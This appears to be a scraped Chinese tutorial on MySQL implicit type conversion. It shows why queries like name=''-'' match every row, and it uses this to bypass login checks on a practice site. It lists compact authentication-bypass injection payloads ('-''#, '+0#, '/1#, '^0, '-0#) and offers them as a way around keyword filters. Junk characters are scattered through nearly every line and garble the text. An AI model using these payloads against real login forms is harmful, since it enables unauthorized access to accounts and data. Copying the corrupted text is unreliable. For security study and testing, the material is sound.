我们先来看这样一个场景。
9 B. {% H$ _) r" d [有以下表结构: : L5 a$ K1 b& H7 s6 U3 W
7 _/ D. G+ \3 c4 K* {# nmysql> desc admin;
+ N4 p. m8 A, @8 o+----------+--------------+------+-----+---------+----------------+
4 R5 ]3 l' D7 a4 t0 j7 a" P. l7 M* L| Field | Type | Null | Key | Default | Extra |
9 a V3 h/ g) I+----------+--------------+------+-----+---------+----------------+
" d/ Z3 P3 U) E* o| id | mediumint(9) | NO | PRI | NULL | auto_increment |: v# ~% f9 _ P, t3 o5 I
| name | char(32) | NO | UNI | NULL | |# m, c, q6 N+ p% M. L/ q$ [4 e
| password | char(32) | NO | UNI | NULL | |
1 l% r+ j, @0 R4 C+----------+--------------+------+-----+---------+----------------+
, B/ w, M: N" H/ \3 rows in set (0.00 sec)% m9 F; G$ h" ~; B
执行select * from admin;,成功返回所有记录内容。
% {, I) W8 L. o b: _7 _
! N7 A8 Q7 S" l* ]& P
) c8 k1 J3 k0 l% b6 _& t) _+----+--------+----------------------------------+
/ Z: G; y# _8 w" E| id | name | password |* U0 E1 w9 ?! D8 v# f* k
+----+--------+----------------------------------+* z7 n- a) g, Q# R
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
; d6 ]& _' D# ^& ]/ e| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
T/ t4 O5 ~# S- {; {6 A| 4 | n00b | ff80e8508d39047460921792273533a4 |8 q9 S# a0 @6 @ e
+----+--------+----------------------------------+
& {$ |/ Y* U" s2 m% q3 rows in set (0.00 sec)
8 S$ m' k, {) u% c) M执行select * from admin where name=”;,没有匹配到任何记录。
6 {3 `5 s# k' }1 Z% x- e
5 ?4 F! i/ A/ nmysql> select * from admin where name = '';
$ o4 P7 H6 u4 d9 ]Empty set (0.00 sec)
* j7 l+ _7 k7 `" c那么我们来执行select * from admin where name = ”-”;- L' C3 P7 T) S* D E0 ~; H- t
# O4 I- K7 `4 G: E, x
! D- { R/ C: ~! j( i+----+--------+----------------------------------+# e/ J, J8 {, b/ o, J( {$ `
| id | name | password |
2 T- X! B, t% k5 i+----+--------+----------------------------------+5 x( a- k1 h- M D* \
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
5 L0 l- |" O5 `' Q H: j3 ?' x ~. Y| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
& C; V0 C* E+ D1 _$ i& s| 4 | n00b | ff80e8508d39047460921792273533a4 |
% `' B1 m& Y' K3 J+ w7 [; o7 c; X+----+--------+----------------------------------++ i; C! i" F3 n8 e% e& n% A
3 rows in set, 3 warnings (0.00 sec)
3 Y" y8 ?8 ^; W/ A w可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: " i7 E$ V2 Q8 M; v2 Z0 t
# p( |1 Q1 p H( ?( ~# E1 J
mysql> show warnings;
6 D6 } j& N* c% D+ O' h% k+---------+------+------------------------------------------( Q' a2 Q0 v: a. G K
| Level | Code | Message! e# r" ^" B. L) h |4 j' C" K
+---------+------+------------------------------------------( t2 ~9 W% W$ J( I
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin3 O# G1 G- l1 z" p
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s$ R; F0 P2 X1 S/ ]
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
7 e) _# |+ U. b4 c+---------+------+------------------------------------------% ]2 Q! N( d2 ~% N6 p9 G
3 rows in set (0.00 sec)
- F. O+ g3 [5 b$ d6 i2 ^6 i提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 $ N% T T. Z8 z- G' x0 I
4 `! L. Z3 L9 M7 ~8 f/ S7 r7 l- R
mysql> select ''-'';
. j0 t% o! o* B- b8 e+-------+
, _9 v% a! q3 N| ''-'' |" S2 }0 D3 k( ?$ A. k! i; y' J
+-------+- B$ y. R1 J" L3 F0 N: S4 L t3 G
| 0 |4 E7 |8 |$ Q1 F
+-------+
$ S1 ^2 m: w" O1 F- l* S6 B1 row in set (0.00 sec)
2 @# L' w9 t' m# b* b' L返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: 4 w6 c& L! l8 G
: r' x! j& b0 k1 f- kmysql> select CAST((select name from admin limit 1,1) as DECIMAL);
' v% j( m* _! a; ^+-----------------------------------------------------+
- H8 }. `! D) @) q! U# y| CAST((select name from admin limit 1,1) as DECIMAL) |: f. y: Z, Q! ]1 S3 o- ^
+-----------------------------------------------------+" H# | H! K7 z$ V1 ^
| 0 |
* A7 A* Q9 \2 A( J+-----------------------------------------------------+* |- J/ Q6 A: N7 Y
1 row in set, 1 warning (0.00 sec)1 W) v, G% S0 K; o0 z" Y( |% @
因此where语句构成了相等的条件,where 0=”=”,记录被返回。
% A) S2 m- l Q# c+ a/ i, d, e3 |- y3 s
SQL注入场景: http://www.sqlzoo.net/hack/ ) `9 ^# ]5 X$ T1 }" f6 y
+ w/ e( V* w8 J7 u2 I, ^
- Z6 G' _! x5 h! y
, t3 G* }/ c! @ I
5 X# v d/ P+ s# j& a如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
6 E8 W& V) [: v/ J# H
3 i. z4 U: s# E( p) u那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
6 X+ G( t. H! n1 n. y, O% `2 U3 y2 ?: K) ]" Z$ W) s4 H
7 k" y9 c6 H# n- D* a. t8 G* K2 g& _# L: ~. z9 o. ]1 P
6 t% J4 y" W4 k2 z1 \ U仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
) \$ x, K, k) O, h7 C. }
3 Z3 Y& ^- j* l: I $ P0 q7 Z/ F; r# f
) K z# _# y; D1 J2 v( P) Y
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可+ F$ {9 Z! t8 b7 u# B) Q
5 P( m) }$ `% l9 X
/ X+ u: M- G$ v/ }mysql> select ''/1;+ ]$ |! a t, m2 Y) a, _
+------+
9 {* E$ v+ u0 a3 u+ [0 r| ''/1 |, J n( J o4 b# g+ Z1 [
+------+
7 R j. S' `% \ I9 E# c- Z| 0 |
G, X' ]. B' }' s+------+
% K9 w- y% r( s; }; k$ Q1 row in set (0.00 sec)
' m2 q+ u. h* `) s1 p |& D1 s类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。 ) _9 m) R. C; K
3 m) e* [/ g7 K2 O
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。9 k5 S) s3 M% V5 W
|
|